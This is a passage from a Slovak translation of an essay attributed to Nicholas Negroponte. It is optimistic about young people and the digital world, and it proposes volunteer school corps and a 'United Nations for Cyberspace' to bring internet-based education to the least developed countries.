    nas patria najkratsie. Vsetci sme priatelski k novym uzivatelom emailu,
    ktori nas zaplavuju nekonecne dlhymi a nudnymi listami. Toto sa moze stat v
    globalnom rozsahu a bude to nieco ako ocean, ked si uvedomis, ze India a Cina
    reprezentuje viac ako 2 miliardy ludi. Ale rozdiel medzi pouzivanim pocitacov
    pre email a napriklad pre zakladne skolstbo je, ze v prvom pripade moze byt
    uzivatel zaslepeny, zatial co pri druhom mu to moze poskytnut "zakladnu vyzivu
    digitalneho stravovania."



    Takze som velky optimista, najma co sa tyka vyvinu noveho digitalneho sveta.
    Viac ako polovica populacie dnesneho sveta ma menej ako 20 rokov. Tato
    skupina mladych ludi je vacsinou povazovana za zodpovednu. Tito ludia by
    mohli byt vo vyvine novej digitalnej etapy ludstva velmi prospesni. Najma v
    krajinach, kde tvoria vacsinu obyvatelstva.



    Vsetci vieme, ze deti beru pocitace ako ich novy jazyk. Ak im date sancu,
    chytia sa jej a do pocitacov sa zahlbia s vasnou, rozkosou a elanom. Ked
    boli PC-cka este len "osobne pocitace", vzdelavacie moznosti - specialne vo
    svete vyvoja - boli limitovane mnozstvom softwareu a jeho primeranostou. S
    Internetom sa to dramaticky zmenilo. Uz nieje potrebne podrobne zapisovat
    kazdy krok. Deti mozu ucit ine deti z celeho sveta. Dovod pre ucenie sa
    citat a pisat bude zretelny.



    Dva napravitelne problemy



    Teraz potrebujeme prinajmensom 500 000 mladych muzov a zien z
    'vyvinu-chtivych' skupin , ktori dobrovolne stravia rok pre vyvin sveta,
    napriklad ako skolske zbory - nieco ako Mierove Spolky. Kazdy z tychto
    mladych ludi moze sluzit ako priklad pre viac ako 100 deti v 48 krajinach
    povazovanych Unescom za najmenej vyvinute. Univerzity by mohli mudro
    podporovat takuto iniciativu a obetovat nejake financie pre studentov mimo
    domu.



    Takato namahava praca moze stat priblizne tak vela ako zopar F-15-tiek.
    Problem vsak nie su peniaze, ale to, ako to spravit. Pod cijou spravou a
    s akymi peniazmi ? Unesco je privelmi politicky zamerane. A Svetova Banka
    by chcela svoje peniaze spat. Teraz je vhodny cas zalozit nove Spojene
    Narody pre Cyberspace, organizaciu s 5-rocnym planom vytvorit digitalny
    svet lahko dostupny pre vsetkych. Nemoze to byt spravene postupne v krajine
    za krajinou. Vlada sa rozhybava velmi pomaly a najma co sa tyka novych
    digitalnych technologii. Nieco nove je velmi potrebne. Ak mas dobry napad
    tak ho vyslov. Pouzi email. Myslim to vazne.




    negroponte, nicholas(at)media.mit.edu

    preklad lubo gabal, gabal(at)vadium.sk


    navrat na obsah